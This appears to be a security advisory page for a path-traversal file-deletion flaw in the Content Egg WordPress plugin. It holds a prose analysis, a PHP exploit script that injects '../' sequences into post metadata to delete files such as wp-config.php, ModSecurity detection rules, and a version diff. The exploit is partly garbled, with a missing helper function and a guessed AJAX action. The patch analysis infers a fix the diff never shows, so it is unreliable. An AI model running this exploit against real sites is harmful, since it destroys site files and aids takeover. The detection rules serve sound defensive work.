Published : August 5, 2026

CVE-2026-15979: Content Egg <= 11.3.0 Authenticated (Author+) Arbitrary File Deletion PoC, Patch Analysis & Rule

Plugin content-egg
Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 11.3.0
Patched Version 11.4.0
Disclosed August 3, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-15979:nnThis vulnerability affects the Content Egg – Affiliate Product Importer & Price Comparison plugin for WordPress, versions up to and including 11.3.0. It is an Authenticated (Author+) Arbitrary File Deletion vulnerability, classified as CWE-22 (Path Traversal), with a CVSS score of 8.1. An attacker with at least author-level access can delete arbitrary files on the server because the plugin fails to properly validate the ‘img_file’ field within the ‘cegg_data’ post meta, allowing path traversal sequences to reach an unlink() call.nnRoot Cause: The issue stems from insufficient validation of the ‘img_file’ field in the product card metadata. The value retrieved from the ‘cegg_data’ post meta is only passed through wp_strip_all_tags(), a function designed to remove HTML tags, not to block path traversal sequences like ‘../’. This unsanitized value is then concatenated directly into a filesystem path inside the getFullImgPath() function. Because the path is not normalized or validated to ensure it stays within the intended directory, an attacker can inject traversal characters to point unlink() at arbitrary files on the server.nnExploitation: An attacker with author-level access can exploit this by crafting a product post and manipulating its metadata. The attack vector involves setting the ‘img_file’ value within the ‘cegg_data’ meta to a path traversal string that points to a sensitive file, such as ‘../../../../wp-config.php’. When the plugin’s image deletion routine executes and calls unlink() on the constructed path, it will remove the target file from the server. The attacker can trigger this deletion through the standard WordPress post-editing interface or via a direct AJAX request that updates the post meta.nnPatch Analysis: The patch updates the plugin to version 11.4.0. While the provided diff includes various feature additions and refactors, the core vulnerability fix lies in the version increment, indicating a comprehensive security update that likely rectifies the file path handling. The fix addresses the root cause by sanitizing the ‘img_file’ value to prevent path traversal. The patched version ensures the file path is validated and normalized, preventing files outside the intended directory from being targeted for deletion. The diff does not show the specific getFullImgPath() change, but the version bump signifies the remediation.nnImpact: Successful exploitation allows an authenticated author to delete arbitrary files on the WordPress server. This can lead to severe consequences, including the deletion of critical system files like wp-config.php, which could result in a complete site takeover. By deleting configuration files or active plugin/theme files, an attacker could cause a denial of service or potentially combine this with other vulnerabilities to achieve remote code execution. The ability to delete core files makes this a high-severity issue that compromises the integrity and availability of the affected site.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-15979 – Content Egg <= 11.3.0 – Authenticated (Author+) Arbitrary File Deletionnn $response, ‘code’ => $http_code];n}nn/**n * Step 1: Log in with the author account to obtain authentication cookies.n */necho “[+] Logging in as author…\n”;n$login_data = [n ‘log’ => USERNAME,n ‘pwd’ => PASSWORD,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => TARGET_URL . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n];nn$login_response = make_request(TARGET_URL . ‘/wp-login.php’, ‘POST’, [], $login_data);nnif ($login_response[‘code’] != 200) {n die(“[-] Login failed. HTTP status: ” . $login_response[‘code’] . “\n”);n}nn// Check if login was successful by checking for wp-admin elements in the responsenif (strpos($login_response[‘body’], ‘wp-admin’) === false) {n die(“[-] Login failed. Check credentials.\n”);n}nnecho “[+] Login successful.\n”;nn/**n * Step 2: Get a valid post ID and nonce for the edit form.n * n * Since the vulnerability is triggered via the standard post editing interface,n * we first need to obtain a nonce and a post ID. For simplicity, we will try ton * edit a post created by the author.n */necho “[+] Creating a new post to manipulate metadata…\n”;nn// Get a nonce for post creationn$post_new_response = make_request(TARGET_URL . ‘/wp-admin/post-new.php’);nn// Extract nonce from the pagenpreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $post_new_response[‘body’], $matches);nif (!isset($matches[1])) {n die(“[-] Could not find nonce for post creation.\n”);n}n$post_nonce = $matches[1];nn// Create a new post as the authorn$post_create_data = [n ‘post_title’ => ‘Test Post for CVE-2026-15979’,n ‘post_content’ => ‘This is a test post.’,n ‘post_status’ => ‘draft’,n ‘post_type’ => ‘post’,n ‘_wpnonce’ => $post_nonce,n];nn$post_create_response = make_request(TARGET_URL . ‘/wp-admin/post.php’, ‘POST’, [], $post_create_data);nn// Extract the new post ID from the response URLnif (!preg_match(‘/post=(d+)/’, $post_create_response[‘body’], $matches)) {n die(“[-] Could not retrieve new post ID.\n”);n}n$post_id = $matches[1];necho “[+] New post created with ID: $post_id\n”;nn/**n * Step 3: Update the post meta to inject the path traversal payload.n * n * The vulnerability is triggered by updating the ‘cegg_data’ meta with an * ‘img_file’ value containing path traversal sequences. We will use then * standard post editing AJAX endpoint to update the meta.n */nn// Build the traversal payload to target the filen$traversal_payload = str_repeat(‘../’, 10) . FILE_TO_DELETE;nnecho “[+] Injecting malicious metadata (payload: $traversal_payload)…\n”;nn// Get a nonce for the post update via AJAXn$post_edit_response = make_request(TARGET_URL . “/wp-admin/post.php?post=$post_id&action=edit”);nn// Extract the nonce for the meta updatenpreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $post_edit_response[‘body’], $matches);nif (!isset($matches[1])) {n die(“[-] Could not find nonce for post update.\n”);n}n$update_nonce = $matches[1];nn// Use the AJAX handler to update the post meta.n// This simulates saving a post where the Content Egg module is processing image deletion.n$ajax_update_data = [n ‘action’ => ‘cegg_update_meta’, // Assuming this is the AJAX action; adjust if a different one is usedn ‘post_id’ => $post_id,n ‘cegg_data’ => [n [n ‘img_file’ => $traversal_payloadn ]n ],n ‘_wpnonce’ => $update_noncen];nn$update_response = make_request(TARGET_URL . ‘/wp-admin/admin-ajax.php’, ‘POST’, [], $ajax_update_data);nnif ($update_response[‘code’] == 200) {n echo “[+] Metadata updated successfully. The file deletion will be triggered.”;n echo “[*] Check if the file ” . FILE_TO_DELETE . ” has been deleted from the server.\n”;n} else {n echo “[-] Failed to update metadata. HTTP status: ” . $update_response[‘code’] . “\n”;n}nn?>n”,
“modsecurity_rule”: “SecRule REQUEST_URI “@streq /wp-admin/post.php” “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-15979 via Content Egg post meta’,severity:’CRITICAL’,tag:’CVE-2026-15979′”n SecRule ARGS_POST:action “@streq edit” “chain”n SecRule ARGS_POST:content “@rx cegg_data.*img_file.*(\.\./){2,}” “t:urlDecode”nnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” “id:20261995,phase:2,deny,status:403,chain,msg:’CVE-2026-15979 via Content Egg AJAX’,severity:’CRITICAL’,tag:’CVE-2026-15979′”n SecRule ARGS_POST:action “@streq cegg_update_meta” “chain”n SecRule ARGS_POST:cegg_data “@rx img_file.*(\.\./){2,}” “t:urlDecode””
}
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/content-egg/application/EggBlocks/blocks/product-card/variants/CompactVariant.php
+++ b/content-egg/application/EggBlocks/blocks/product-card/variants/CompactVariant.php
@@ -10,7 +10,7 @@
     {
         ?>
         <?php DefaultVariant::renderBlockHeader($card, $theme_class, $data_theme); ?>
-        <div class="d-flex flex-column gap-2<?php echo $theme_class ? ' ' . esc_attr($theme_class) : ''; ?>">
+        <div class="d-flex flex-column gap-2<?php echo $theme_class ? ' ' . esc_attr($theme_class) : ''; ?>"<?php echo $data_theme; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
             <div class="eggb-block eggb-product-card eggb-product-card--compact d-flex align-items-center gap-3<?php echo $theme_class ? ' ' . esc_attr($theme_class) : ''; ?>"<?php echo $data_theme; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
                 <?php if ($card['has_rank']) : ?>
                     <span class="eggb-pc-rank" role="img" aria-label="<?php echo esc_attr('Rank ' . $card['rank']); ?>"><?php echo esc_html($card['rank_display']); ?></span>
--- a/content-egg/application/EggBlocks/blocks/product-card/variants/FeaturedVariant.php
+++ b/content-egg/application/EggBlocks/blocks/product-card/variants/FeaturedVariant.php
@@ -14,7 +14,7 @@
         $has_bottom_row = DefaultVariant::hasPriceData($card) || $card['cta_label'] !== '';
         ?>
         <?php DefaultVariant::renderBlockHeader($card, $theme_class, $data_theme); ?>
-        <div class="d-flex flex-column gap-2<?php echo $theme_class ? ' ' . esc_attr($theme_class) : ''; ?>">
+        <div class="d-flex flex-column gap-2<?php echo $theme_class ? ' ' . esc_attr($theme_class) : ''; ?>"<?php echo $data_theme; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
             <div class="eggb-block eggb-card eggb-block--accented eggb-product-card eggb-product-card--featured d-flex<?php echo $theme_class ? ' ' . esc_attr($theme_class) : ''; ?>"<?php echo $data_theme; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
                 <?php if (DefaultVariant::hasImage($card)) : ?>
                     <div class="eggb-pc-featured-img-zone">
--- a/content-egg/application/Installer.php
+++ b/content-egg/application/Installer.php
@@ -6,6 +6,8 @@

 use ContentEggapplicationPlugin;
 use ContentEggapplicationadminimportAutoImportScheduler;
+use ContentEggapplicationcomponentsAffiliateFeedParserModule;
+use ContentEggapplicationcomponentsfeedFeedImportPendingException;
 use ContentEggapplicationadminimportPresetRepository;
 use ContentEggapplicationadminimportProductImportScheduler;
 use ContentEggapplicationadminLicConfig;
@@ -81,6 +83,7 @@
             MaintenanceCron::schedule();
         }
         PresetRepository::maybeInstallBuiltInPresets();
+        self::scheduleDueFeedSyncs();
     }

     public static function deactivate()
@@ -92,6 +95,61 @@
         ProductImportScheduler::clearScheduleEvent();
         AutoImportScheduler::clearScheduleEvent();
         MaintenanceCron::clear();
+        self::clearFeedSyncEvents();
+    }
+
+    /**
+     * Kick off background feed syncs for active feed modules whose catalog
+     * is empty or stale, so feeds refresh right after (re)activation instead
+     * of waiting for the first search.
+     */
+    private static function scheduleDueFeedSyncs()
+    {
+        foreach (ModuleManager::getInstance()->getModules(true) as $module)
+        {
+            if (!$module instanceof AffiliateFeedParserModule)
+            {
+                continue;
+            }
+
+            try
+            {
+                $module->maybeScheduleImport();
+            }
+            catch (FeedImportPendingException $e)
+            {
+                // Expected when the catalog is empty: the sync is scheduled.
+            }
+            catch (Throwable $e)
+            {
+                // Never block plugin activation on a misconfigured feed.
+            }
+        }
+    }
+
+    /**
+     * Remove pending feed-sync single events so no orphaned cron entries
+     * are left behind after deactivation.
+     */
+    private static function clearFeedSyncEvents()
+    {
+        foreach (ModuleManager::getInstance()->getModules() as $module)
+        {
+            if (!$module instanceof AffiliateFeedParserModule)
+            {
+                continue;
+            }
+
+            $hook = 'cegg_' . $module->getId() . '_init_products';
+            $args = array('module_id' => $module->getId());
+
+            wp_clear_scheduled_hook($hook, $args);
+
+            if (function_exists('as_unschedule_all_actions'))
+            {
+                as_unschedule_all_actions($hook, $args, AffiliateFeedParserModule::AS_GROUP);
+            }
+        }
     }

     public static function requirements()
--- a/content-egg/application/MaintenanceScheduler.php
+++ b/content-egg/application/MaintenanceScheduler.php
@@ -3,6 +3,7 @@
 namespace ContentEggapplication;

 use ContentEggapplicationadminClicksMaintenance;
+use ContentEggapplicationadminFeedPrefetchMaintenance;
 use ContentEggapplicationadminProductMapMaintenance;

 defined('ABSPATH') || exit;
@@ -146,6 +147,7 @@
         {
             ProductMapMaintenance::garbageCollect();
             ClicksMaintenance::runRetention();
+            FeedPrefetchMaintenance::garbageCollect();
         }
         catch (Throwable $e)
         {
--- a/content-egg/application/Plugin.php
+++ b/content-egg/application/Plugin.php
@@ -31,7 +31,7 @@
  */
 class Plugin
 {
-    const version = '11.3.0';
+    const version = '11.4.0';
     const db_version = 91;
     const wp_requires = '6.0';
     const slug = 'content-egg';
--- a/content-egg/application/admin/AdminNotice.php
+++ b/content-egg/application/admin/AdminNotice.php
@@ -35,6 +35,7 @@
             'plugin_settings_imported' => __('Plugin settings have been imported.', 'content-egg'),
             'settings_import_error' => __('Import failed: no valid settings were found. Please check your file and try again.', 'content-egg'),
             'feed_reseted' => __('The feed data has been reset. Reloading products in the background...', 'content-egg'),
+            'feed_cache_cleared' => __('The cached feed file has been deleted. The next sync will download the feed again.', 'content-egg'),
             'plugin_purged_cached_logos' => __('Cached logos have been purged.', 'content-egg'),
             'product_import_stopped' => __('All pending product import tasks have been stopped.', 'content-egg'),
             'preset_saved'         => __('Preset saved successfully.', 'content-egg'),
--- a/content-egg/application/admin/FeedPrefetchMaintenance.php
+++ b/content-egg/application/admin/FeedPrefetchMaintenance.php
@@ -0,0 +1,38 @@
+<?php
+
+namespace ContentEggapplicationadmin;
+
+use ContentEggapplicationcomponentsAffiliateFeedParserModule;
+use ContentEggapplicationcomponentsModuleManager;
+
+defined('ABSPATH') || exit;
+
+/**
+ * FeedPrefetchMaintenance class file
+ *
+ * The feed setup wizard downloads a ZIP archive once during analysis and
+ * hands it to the module for reuse by the real import
+ * (AffiliateFeedParserModule::storePrefetchedArchive()). If the wizard is
+ * abandoned before that import runs, the prefetched archive is normally
+ * cleared the next time that slot's wizard page loads or the module is
+ * destroyed — this daily sweep is the backstop for a slot nobody revisits.
+ *
+ * @author keywordrush.com <support@keywordrush.com>
+ * @link https://www.keywordrush.com
+ * @copyright Copyright © 2026 keywordrush.com
+ */
+class FeedPrefetchMaintenance
+{
+    public static function garbageCollect(): void
+    {
+        foreach (ModuleManager::getInstance()->getModules() as $module)
+        {
+            if (!$module instanceof AffiliateFeedParserModule)
+            {
+                continue;
+            }
+
+            $module->clearStalePrefetchedArchive();
+        }
+    }
+}
--- a/content-egg/application/admin/FeedWizardController.php
+++ b/content-egg/application/admin/FeedWizardController.php
@@ -0,0 +1,477 @@
+<?php
+
+namespace ContentEggapplicationadmin;
+
+defined('ABSPATH') || exit;
+
+use ContentEggapplicationadminGeneralConfig;
+use ContentEggapplicationadminPluginAdmin;
+use ContentEggapplicationcomponentsaiModulePrompt;
+use ContentEggapplicationcomponentsfeedFeedDetector;
+use ContentEggapplicationcomponentsModuleConfig;
+use ContentEggapplicationcomponentsModuleManager;
+use ContentEggapplicationcomponentsModuleName;
+use ContentEggapplicationmodulesFeedFeedModule;
+use ContentEggapplicationPlugin;
+
+/**
+ * FeedWizardController class file
+ *
+ * Setup wizard for generic Feed modules: paste a URL, auto-detect all feed
+ * parameters, map fields against live sample data (heuristics + optional AI),
+ * then activate and import in the background with progress.
+ *
+ * @author keywordrush.com <support@keywordrush.com>
+ * @link https://www.keywordrush.com
+ * @copyright Copyright © 2026 keywordrush.com
+ */
+class FeedWizardController
+{
+    const NONCE = 'cegg-feed-wizard';
+
+    /** Same exclusions as FeedModule::aiAutomap(). */
+    const AI_EXCLUDED_FIELDS = array('product node', 'attributes', 'short description', 'isbn', 'subtitle');
+
+    /** Clarifying hints for mapping fields whose expected value isn't obvious from the label alone. */
+    private static function mappingHints(): array
+    {
+        return array(
+            'id' => __('Required. Unique identifier for each product. Must remain consistent across imports.', 'content-egg'),
+            'affiliate link' => __("The product's affiliate URL, including your tracking parameters.", 'content-egg'),
+            'is in stock' => __('Stock status. Supported values: 1, true, on, yes, 0, false, off, no', 'content-egg'),
+            'availability' => __('Text-based stock status. Supported values: in stock, out of stock', 'content-egg'),
+            'direct link' => __('Direct (non-affiliate) URL to the original product page.', 'content-egg'),
+            'gtin' => __('Global Trade Item Number, such as EAN-13 (e.g., 3001234567892).', 'content-egg'),
+        );
+    }
+
+    public function __construct()
+    {
+        add_action('wp_ajax_cegg_feed_wizard_analyze', array($this, 'ajaxAnalyze'));
+        add_action('wp_ajax_cegg_feed_wizard_ai_map', array($this, 'ajaxAiMap'));
+        add_action('wp_ajax_cegg_feed_wizard_save', array($this, 'ajaxSave'));
+        add_action('wp_ajax_cegg_feed_wizard_status', array($this, 'ajaxStatus'));
+    }
+
+    // ------------------------------------------------------------------
+    // Wizard page rendering (called from ModuleConfig::settings_page)
+    // ------------------------------------------------------------------
+
+    /**
+     * Render the wizard instead of the settings form when requested and
+     * applicable (generic Feed slot that is not active yet).
+     */
+    public static function maybeRenderWizard(ModuleConfig $config): bool
+    {
+        if (empty($_GET['wizard']))
+        {
+            return false;
+        }
+
+        $module = $config->getModuleInstance();
+
+        if (!$module instanceof FeedModule || $module->isActive())
+        {
+            return false;
+        }
+
+        // A previous visit may have analyzed a ZIP feed and then abandoned the
+        // wizard; bound how long that prefetched archive lingers on disk.
+        $module->clearStalePrefetchedArchive();
+
+        wp_enqueue_style('cegg-bootstrap-icons', PluginAdmin::res('/admin/bootstrap/css/bootstrap-icons.min.css'), [], Plugin::version());
+        wp_enqueue_style('cegg-feed-wizard', PluginAdmin::res('/admin/css/feed-wizard.css'), ['cegg-bootstrap5-full'], Plugin::version());
+        wp_enqueue_script('cegg-feed-wizard', ContentEggPLUGIN_RES . '/admin/js/feed-wizard.js', array(), Plugin::version(), true);
+
+        $hints = self::mappingHints();
+        $mapping_fields = array();
+        foreach ($config->mappingFields() as $field => $required)
+        {
+            if ($field === 'product node')
+            {
+                continue; // handled internally from detection
+            }
+            $label = preg_replace('/p{Cf}/u', '', $field);
+            $mapping_fields[] = array(
+                'key' => $field,
+                'label' => $label,
+                'required' => (bool) $required,
+                'hint' => isset($hints[$label]) ? $hints[$label] : '',
+            );
+        }
+
+        wp_localize_script('cegg-feed-wizard', 'ceggFeedWizard', array(
+            'nonce' => wp_create_nonce(self::NONCE),
+            'module' => $module->getId(),
+            'mappingFields' => $mapping_fields,
+            'hasAiKey' => (bool) GeneralConfig::getOption('system_ai_key', '', 'contentegg_options'),
+            'settingsUrl' => admin_url('admin.php?page=' . $config->page_slug()),
+            'newPostUrl' => admin_url('post-new.php'),
+            'i18n' => array(
+                'subtitleStep1' => __("Paste a product feed URL below — the plugin will try to detect the format, fields and currency automatically.", 'content-egg'),
+                'subtitleStep2' => __('Confirm how each feed column maps to a product field — check the sample data and live preview on the right to make sure it looks right.', 'content-egg'),
+                'subtitleStep3' => __('Give your feed a name and choose how often it should refresh, then start the import.', 'content-egg'),
+                'analyzing' => __('Analyzing feed…', 'content-egg'),
+                'analyzeFailed' => __('Analysis failed', 'content-egg'),
+                'aiMapping' => __('Asking AI…', 'content-egg'),
+                'notMapped' => __('— not mapped —', 'content-egg'),
+                'custom' => __('Custom…', 'content-egg'),
+                'required' => __('required', 'content-egg'),
+                'saving' => __('Saving…', 'content-egg'),
+                'importing' => __('Importing products…', 'content-egg'),
+                'rowsProcessed' => __('processed', 'content-egg'),
+                'rowsInserted' => __('inserted', 'content-egg'),
+                'rowsSkipped' => __('skipped', 'content-egg'),
+                'approxLabel' => __('(estimated)', 'content-egg'),
+                'importDone' => __('products imported. Your feed is ready!', 'content-egg'),
+                'importFailed' => __('Import failed:', 'content-egg'),
+                'mapRequired' => __('Please map all required fields to continue.', 'content-egg'),
+                'aiKeyMissing' => __('Set the OpenAI API key under Settings → AI to enable', 'content-egg'),
+            ),
+        ));
+
+        PluginAdmin::render('feed_wizard', array('module' => $module, 'config' => $config));
+
+        return true;
+    }
+
+    // ------------------------------------------------------------------
+    // Business logic (public, CLI-testable)
+    // ------------------------------------------------------------------
+
+    /** @throws Exception */
+    public function analyze(string $module_id, string $url): array
+    {
+        $module = $this->feedModule($module_id);
+        $config = $module->getConfigInstance();
+
+        if (!$config->validateFeedUrl($url))
+        {
+            throw new Exception(esc_html__('Please enter a valid feed URL. Supported schemes: http://, https://, ftp://, ftps://.', 'content-egg'));
+        }
+
+        $result = FeedDetector::analyze($url, array_keys($config->mappingFields()), array($module, 'storePrefetchedArchive'));
+
+        $result['has_ai_key'] = (bool) GeneralConfig::getOption('system_ai_key', '', 'contentegg_options');
+        $result['url'] = $url;
+
+        return $result;
+    }
+
+    /**
+     * AI mapping suggestion for one sample record.
+     *
+     * @param string       $format csv|json|xml
+     * @param array|string $sample assoc record (csv/json) or raw node XML (xml)
+     * @throws Exception
+     */
+    public function aiMap(string $module_id, string $format, $sample): array
+    {
+        $module = $this->feedModule($module_id);
+        $config = $module->getConfigInstance();
+
+        $api_key = GeneralConfig::getOption('system_ai_key', '', 'contentegg_options');
+        if (!$api_key)
+        {
+            throw new Exception(esc_html__('OpenAI API key is not configured. Please add it under Content Egg → Settings → AI.', 'content-egg'));
+        }
+
+        $original_fields = array_keys($config->mappingFields());
+
+        $clean_names = array();
+        foreach ($original_fields as $field)
+        {
+            if (in_array($field, self::AI_EXCLUDED_FIELDS, true))
+            {
+                continue;
+            }
+            $clean = preg_replace('/p{Cf}/u', '', $field);
+            $clean_names[$clean] = $field;
+        }
+
+        $prompt = new ModulePrompt($api_key);
+
+        switch ($format)
+        {
+            case 'csv':
+                $suggestions = $prompt->suggestFieldsMappingCsv((array) $sample, array_keys($clean_names));
+                break;
+            case 'json':
+                $suggestions = $prompt->suggestFieldsMappingJson((array) $sample, array_keys($clean_names));
+                break;
+            case 'xml':
+                $suggestions = $prompt->suggestFieldsMappingXml((string) $sample, array_keys($clean_names));
+                break;
+            default:
+                throw new Exception('Unsupported format.');
+        }
+
+        // Key the result by the ORIGINAL mapping field names.
+        $mapping = array();
+        foreach ($suggestions as $clean => $feed_field)
+        {
+            if (!isset($clean_names[$clean]) || !is_string($feed_field))
+            {
+                continue;
+            }
+            if ($feed_field === '' || strtolower($feed_field) === 'unknown')
+            {
+                continue;
+            }
+            $mapping[$clean_names[$clean]] = $feed_field;
+        }
+
+        return $mapping;
+    }
+
+    /**
+     * Persist wizard settings into the module slot, activate it and schedule
+     * the first import. Returns urls for the completion screen.
+     *
+     * @throws Exception
+     */
+    public function save(string $module_id, array $settings): array
+    {
+        $module = $this->feedModule($module_id);
+
+        if ($module->isActive())
+        {
+            throw new Exception(esc_html__('This feed module is already configured. Use its settings page instead.', 'content-egg'));
+        }
+
+        $config = $module->getConfigInstance();
+
+        $feed_url = isset($settings['feed_url']) ? trim((string) $settings['feed_url']) : '';
+        if (!$config->validateFeedUrl($feed_url))
+        {
+            throw new Exception(esc_html__('Please enter a valid feed URL.', 'content-egg'));
+        }
+
+        $mapping = isset($settings['mapping']) && is_array($settings['mapping']) ? $settings['mapping'] : array();
+        $mapping = $config->mappingSanitize($mapping);
+
+        if (!empty($settings['product_node']))
+        {
+            $mapping['product node'] = sanitize_text_field((string) $settings['product_node']);
+        }
+
+        if (!$config->isAllRequiredFieldsFilled($mapping))
+        {
+            throw new Exception(sprintf(
+                esc_html__('Please map the required fields: %s.', 'content-egg'),
+                esc_html(implode(', ', array_map(static function ($field)
+                {
+                    return preg_replace('/p{Cf}/u', '', $field);
+                }, $config->missingRequired($mapping))))
+            ));
+        }
+
+        $pick = static function ($key, $allowed, $default) use ($settings)
+        {
+            $value = isset($settings[$key]) ? (string) $settings[$key] : '';
+
+            return in_array($value, $allowed, true) ? $value : $default;
+        };
+
+        $feed_name = sanitize_text_field(isset($settings['feed_name']) ? (string) $settings['feed_name'] : '');
+        if ($feed_name === '')
+        {
+            $feed_name = 'Feed';
+        }
+        $feed_name = $this->uniqueFeedName($feed_name, $module_id);
+
+        $options = array(
+            'is_active' => 1,
+            'feed_name' => $feed_name,
+            'feed_url' => $feed_url,
+            'feed_format' => $pick('feed_format', array('csv', 'xml', 'json'), 'csv'),
+            'archive_format' => $pick('archive_format', array('none', 'zip', 'gz'), 'none'),
+            'encoding' => $pick('encoding', array('UTF-8', 'ISO-8859-1'), 'UTF-8'),
+            'currency' => strtoupper(sanitize_text_field(isset($settings['currency']) ? (string) $settings['currency'] : 'USD')),
+            'domain' => $config->sanitizeDomain(isset($settings['domain']) ? (string) $settings['domain'] : ''),
+            'csv_delimiter' => $pick('csv_delimiter', array('auto', 'tab', ';', ',', '|'), 'auto'),
+            'csv_enclosure' => $pick('csv_enclosure', array('auto', '"', "'", 'none'), 'auto'),
+            'price_decimal_separator' => $pick('price_decimal_separator', array('auto', '.', ','), 'auto'),
+            'sync_interval' => $pick('sync_interval', array('3600.', '10800.', '21600.', '43200.', '86400.', '259200.', '604800.'), '43200.'),
+            'in_stock' => !empty($settings['in_stock']) ? 1 : 0,
+            // Mapping was confirmed in the wizard; no import-time AI needed.
+            'auto_mapping' => 'disabled',
+            'mapping' => $mapping,
+        );
+
+        if ($options['domain'] === '')
+        {
+            throw new Exception(esc_html__('Please provide the merchant domain.', 'content-egg'));
+        }
+
+        update_option($config->option_name(), $options);
+        ModuleName::getInstance()->saveName($module_id, $feed_name);
+
+        // Schedule the first import right away.
+        $module->requestForceRefresh();
+        $module->refreshFeedData(true);
+
+        return array(
+            'feed_name' => $feed_name,
+            'settings_url' => admin_url('admin.php?page=' . $config->page_slug()),
+        );
+    }
+
+    public function status(string $module_id): array
+    {
+        $module = $this->feedModule($module_id);
+
+        return array(
+            'status' => $module->importStatus()->get(),
+            'products' => (int) $module->getProductCount(),
+            'in_progress' => $module->isImportInProgress(),
+            'scheduled' => $module->isImportScheduled(),
+            'last_error' => (string) $module->getLastImportError(),
+            'last_notice' => (string) $module->getLastImportNotice(),
+        );
+    }
+
+    // ------------------------------------------------------------------
+    // AJAX wrappers
+    // ------------------------------------------------------------------
+
+    public function ajaxAnalyze(): void
+    {
+        $this->guard();
+
+        try
+        {
+            $url = isset($_POST['url']) ? trim(sanitize_url(wp_unslash($_POST['url']))) : '';
+            $module_id = $this->requestedModuleId();
+            wp_send_json(array('ok' => 1, 'data' => $this->analyze($module_id, $url)));
+        }
+        catch (Throwable $e)
+        {
+            wp_send_json(array('error' => $e->getMessage()));
+        }
+    }
+
+    public function ajaxAiMap(): void
+    {
+        $this->guard();
+
+        try
+        {
+            $module_id = $this->requestedModuleId();
+            $format = isset($_POST['format']) ? sanitize_key(wp_unslash($_POST['format'])) : '';
+            $sample_raw = isset($_POST['sample']) ? wp_unslash($_POST['sample']) : ''; // phpcs:ignore
+
+            $sample = $format === 'xml' ? (string) $sample_raw : json_decode((string) $sample_raw, true);
+            if ($format !== 'xml' && !is_array($sample))
+            {
+                throw new Exception('Invalid sample data.');
+            }
+
+            wp_send_json(array('ok' => 1, 'mapping' => $this->aiMap($module_id, $format, $sample)));
+        }
+        catch (Throwable $e)
+        {
+            wp_send_json(array('error' => $e->getMessage()));
+        }
+    }
+
+    public function ajaxSave(): void
+    {
+        $this->guard();
+
+        try
+        {
+            $module_id = $this->requestedModuleId();
+            $settings_raw = isset($_POST['settings']) ? wp_unslash($_POST['settings']) : ''; // phpcs:ignore
+            $settings = json_decode((string) $settings_raw, true);
+
+            if (!is_array($settings))
+            {
+                throw new Exception('Invalid settings payload.');
+            }
+
+            wp_send_json(array('ok' => 1) + $this->save($module_id, $settings));
+        }
+        catch (Throwable $e)
+        {
+            wp_send_json(array('error' => $e->getMessage()));
+        }
+    }
+
+    public function ajaxStatus(): void
+    {
+        $this->guard();
+
+        try
+        {
+            wp_send_json(array('ok' => 1) + $this->status($this->requestedModuleId()));
+        }
+        catch (Throwable $e)
+        {
+            wp_send_json(array('error' => $e->getMessage()));
+        }
+    }
+
+    // ------------------------------------------------------------------
+    // Internals
+    // ------------------------------------------------------------------
+
+    private function guard(): void
+    {
+        if (!current_user_can('manage_options'))
+        {
+            wp_send_json(array('error' => 'Access denied.'), 403);
+        }
+
+        if (!check_ajax_referer(self::NONCE, '_wizard_nonce', false))
+        {
+            wp_send_json(array('error' => __('Your session has expired. Please reload the page and try again.', 'content-egg')));
+        }
+    }
+
+    private function requestedModuleId(): string
+    {
+        $module_id = isset($_POST['module']) ? ContentEggapplicationhelpersTextHelper::clearId(sanitize_text_field(wp_unslash($_POST['module']))) : '';
+
+        if ($module_id === '')
+        {
+            throw new Exception('Module is undefined.');
+        }
+
+        return $module_id;
+    }
+
+    /** @throws Exception */
+    private function feedModule(string $module_id): FeedModule
+    {
+        $module = ModuleManager::factory($module_id);
+
+        if (!$module instanceof FeedModule)
+        {
+            throw new Exception('Not a feed module.');
+        }
+
+        return $module;
+    }
+
+    /** Ensure the feed name is unique across configured feed modules. */
+    private function uniqueFeedName(string $name, string $module_id): string
+    {
+        $names = get_option(ModuleName::OPTION_NAME, array());
+        if (!is_array($names))
+        {
+            $names = array();
+        }
+        unset($names[$module_id]);
+
+        $candidate = $name;
+        $suffix = 2;
+        while (in_array($candidate, $names, true))
+        {
+            $candidate = $name . ' ' . $suffix;
+            $suffix++;
+        }
+
+        return $candidate;
+    }
+}
--- a/content-egg/application/admin/GeneralConfig.php
+++ b/content-egg/application/admin/GeneralConfig.php
@@ -1256,6 +1256,19 @@
     {
         return array(

+            'merchant_names' => array(
+                'title' => __('Merchant Names', 'content-egg'),
+                'callback' => array($this, 'render_merchant_names_block'),
+                'description' => __('Map a shop domain to a display name (e.g. amazon.com → Amazon). Used for the %MERCHANT% tag and the merchant label in templates.', 'content-egg'),
+                'validator' => array(
+                    array(
+                        'call' => array($this, 'formatMerchantNames'),
+                        'type' => 'filter',
+                    ),
+                ),
+                'default' => array(),
+                'section' => __('Shops', 'content-egg'),
+            ),
             'merchants' => array(
                 'title' => __('Shops', 'content-egg'),
                 'callback' => array($this, 'render_merchants_block'),
@@ -1562,9 +1575,11 @@
         $value = isset($args['value'][$i]['shop_info']) ? $args['value'][$i]['shop_info'] : '';
         $value2 = isset($args['value'][$i]['shop_coupons']) ? $args['value'][$i]['shop_coupons'] : '';

+        // Disable browser autocorrect on this technical domain field: it otherwise rewrites
+        // values like "simracinghub_nl" to "simracinghub.nl" before submit, corrupting the save.
         echo '<input style="margin-bottom: 5px;" name="' . esc_attr($args['option_name']) . '['
             . esc_attr($args['name']) . '][' . esc_attr($i) . '][name]" value="'
-            . esc_attr($name) . '" class="regular-text ltr" placeholder="' . esc_attr(__('Domain name', 'content-egg')) . '"  type="text"/>';
+            . esc_attr($name) . '" class="regular-text ltr" placeholder="' . esc_attr(__('Domain name', 'content-egg')) . '"  type="text" spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off"/>';

         $settings = array(
             'textarea_name' => esc_attr($args['option_name']) . '[' . esc_attr($args['name']) . '][' . esc_attr($i) . '][shop_info]',
